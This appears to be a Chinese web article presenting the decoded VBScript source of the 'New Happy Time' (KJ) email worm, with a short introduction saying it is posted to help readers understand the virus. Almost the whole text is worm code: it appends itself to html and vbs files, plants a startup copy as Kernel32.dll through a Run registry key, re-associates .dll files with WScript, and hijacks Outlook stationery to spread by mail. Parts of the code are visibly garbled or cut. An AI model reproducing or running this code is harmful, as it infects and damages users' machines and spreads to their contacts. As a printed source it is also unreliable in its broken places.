快捷搜索:

“新快乐时光”祥解

//新快乐韶光只感染desktop.ini,folder.htp文件,很简单,然则会造成系统速率快速低落,大年夜量耗损资本,并且因为病毒的蹩脚,无意偶尔还会有差错孕育发生。这个病毒是颠末加密处置惩罚的,我几经查阅,将乱码翻译出来,请大年夜家彻底的看穿这个病毒。这里把代码贴出来。有什么不是请提出。wang9658@263.net

Dim InWhere,HtmlText,VbsText,DegreeSign,AppleObject,FSO,WsShell,WinPath,SubE,FinalyDisk

Sub KJ_start()

KJSetDim()

KJCreateMilieu()

KJLikeIt()

KJCreateMail()

KJPropagate()

End Sub

Function KJAppendTo(FilePath,TypeStr)

On Error Resume Next

Set ReadTemp = FSO.OpenTextFile(FilePath,1)

TmpStr = ReadTemp.ReadAll

If Instr(TmpStr,"KJ_start()") " & vbCrLf & TmpStr & vbCrLf & HtmlText

FileTemp.Close

Set FAttrib = FSO.GetFile(FilePath)

FAttrib.attributes = 34

Else

ReadTemp.Close

Set FileTemp = FSO.OpenTextFile(FilePath,8)

If TypeStr = "html" Then

FileTemp.Write vbCrLf & "" & vbCrLf & "" & vbCrLf & HtmlText

ElseIf TypeStr = "vbs" Then

FileTemp.Write vbCrLf & VbsText

End If

FileTemp.Close

End If

End Function

Function KJChangeSub(CurrentString,LastIndexChar)

If LastIndexChar = 0 Then

If Left(LCase(CurrentString),1) =" & vbCrLf & "" & vbCrLf & HtmlText

FileTemp.Close

End If

DefaultId = WsShell.RegRead("HKEY_CURRENT_USER\Identities\Default User ID")

OutLookVersion = WsShell.RegRead("HKEY_LOCAL_MACHINE\Software\Microsoft\Outlook Express\MediaVer")

WsShell.RegWrite "HKEY_CURRENT_USER\Identities\"&DefaultId&"\Software\Microsoft\Outlook Express\"& Left(OutLookVersion,1) &".0\Mail\Compose Use Stationery",1,"REG_DWORD"

Call KJMailReg("HKEY_CURRENT_USER\Identities\"&DefaultId&"\Software\Microsoft\Outlook Express\"& Left(OutLookVersion,1) &".0\Mail\Stationery Name",ShareFile)

Call KJMailReg("HKEY_CURRENT_USER\Identities\"&DefaultId&"\Software\Microsoft\Outlook Express\"& Left(OutLookVersion,1) &".0\Mail\Wide Stationery Name",ShareFile)

WsShell.RegWrite "HKEY_CURRENT_USER\Software\Microsoft\Office\9.0\Outlook\Options\Mail\EditorPreference",131072,"REG_DWORD"

Call KJMailReg("HKEY_CURRENT_USER\Software\Microsoft\Windows Messaging Subsystem\Profiles\Microsoft Outlook Internet Settings\0a0d020000000000c000000000000046\001e0360","blank")

Call KJMailReg("HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Microsoft Outlook Internet Settings\0a0d020000000000c000000000000046\001e0360","blank")

WsShell.RegWrite "HKEY_CURRENT_USER\Software\Microsoft\Office\10.0\Outlook\Options\Mail\EditorPreference",131072,"REG_DWORD"

Call KJMailReg("HKEY_CURRENT_USER\Software\Microsoft\Office\10.0\Common\MailSettings\NewStationery","blank")

KJummageFolder(Left(WinPath,3) & "Program Files\Common Files\Microsoft Shared\Stationery")

End Function

Function KJCreateMilieu()

On Error Resume Next

TempPath = ""

If Not(FSO.FileExists(WinPath & "WScript.exe")) Then

TempPath = "system32\"

End If

If TempPath = "system32\" Then

StartUpFile = WinPath & "SYSTEM\Kernel32.dll"

Else

StartUpFile = WinPath & "SYSTEM\Kernel.dll"

End If

WsShell.RegWrite "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run\Kernel32",StartUpFile

FSO.CopyFile WinPath & "web\kjwall.gif",WinPath & "web\Folder.htt"

FSO.CopyFile WinPath & "system32\kjwall.gif",WinPath & "system32\desktop.ini"

Call KJAppendTo(WinPath & "web\Folder.htt","htt")

WsShell.RegWrite "HKEY_CLASSES_ROOT\.dll\","dllfile"

WsShell.RegWrite "HKEY_CLASSES_ROOT\.dll\Content Type","application/x-msdownload"

WsShell.RegWrite "HKEY_CLASSES_ROOT\dllfile\DefaultIcon\",WsShell.RegRead("HKEY_CLASSES_ROOT\vxdfile\DefaultIcon\")

WsShell.RegWrite "HKEY_CLASSES_ROOT\dllfile\ScriptEngine\","VBScript"

WsShell.RegWrite "HKEY_CLASSES_ROOT\dllFile\Shell\Open\Command\",WinPath & TempPath & "WScript.exe ""%1"" %*"

WsShell.RegWrite "HKEY_CLASSES_ROOT\dllFile\ShellEx\PropertySheetHandlers\WSHProps\","{60254CA5-953B-11CF-8C96-00AA00B8708C}"

WsShell.RegWrite "HKEY_CLASSES_ROOT\dllFile\ScriptHostEncode\","{85131631-480C-11D2-B1F9-00C04F86C324}"

Set FileTemp = FSO.OpenTextFile(StartUpFile,2,true)

FileTemp.Write VbsText

FileTemp.Close

End Function

Function KJLikeIt()

If InWhere"" then

ThisLocation = Left(ThisLocation,Len(ThisLocation) - Len(FSO.GetFileName(ThisLocation)))

End If

If Len(ThisLocation) > 3 Then

ThisLocation = ThisLocation & "\"

End If

KJummageFolder(ThisLocation)

End If

End Function

Function KJMailReg(RegStr,FileName)

On Error Resume Next

RegTempStr = WsShell.RegRead(RegStr)

If RegTempStr = "" Then

WsShell.RegWrite RegStr,FileName

End If

End Function

Function KJOboSub(CurrentString)

SubE = 0

TestOut = 0

Do While True

TestOut = TestOut + 1

If TestOut > 28 Then

CurrentString = FinalyDisk & ":\"

Exit Do

End If

On Error Resume Next

Set ThisFolder = FSO.GetFolder(CurrentString)

Set DicSub = CreateObject("Scripting.Dictionary")

Set Folders = ThisFolder.SubFolders

FolderCount = 0

For Each TempFolder in Folders

FolderCount = FolderCount + 1

DicSub.add FolderCount, TempFolder.Name

Next

If DicSub.Count = 0 Then

LastIndexChar = InstrRev(CurrentString,"\",Len(CurrentString)-1)

SubString = Mid(CurrentString,LastIndexChar+1,Len(CurrentString)-LastIndexChar-1)

CurrentString = KJChangeSub(CurrentString,LastIndexChar)

SubE = 1

Else

If SubE = 0 Then

CurrentString = CurrentString & DicSub.Item(1) & "\"

Exit Do

Else

j = 0

For j = 1 To FolderCount

If LCase(SubString) = LCase(DicSub.Item(j)) Then

If j2 And DiskTemp.DriveType " & vbCrLf & "document.write " & """" & "" & "" & "" & """" & vbCrLf & "" & vbCrLf & "" & vbCrLf & ThisText & vbCrLf & UnLockStr & vbCrLf & "" & vbCrLf & "" & vbCrLf & ""

VbsText = ThisText & vbCrLf & UnLockStr & vbCrLf & "KJ_start()"

WinPath = FSO.GetSpecialFolder(0) & "\"

If (FSO.FileExists(WinPath & "web\Folder.htt")) Then

FSO.CopyFile WinPath & "web\Folder.htt",WinPath & "web\kjwall.gif"

End If

If (FSO.FileExists(WinPath & "system32\desktop.ini")) Then

FSO.CopyFile WinPath & "system32\desktop.ini",WinPath & "system32\kjwall.gif"

End If

End Function

您可能还会对下面的文章感兴趣: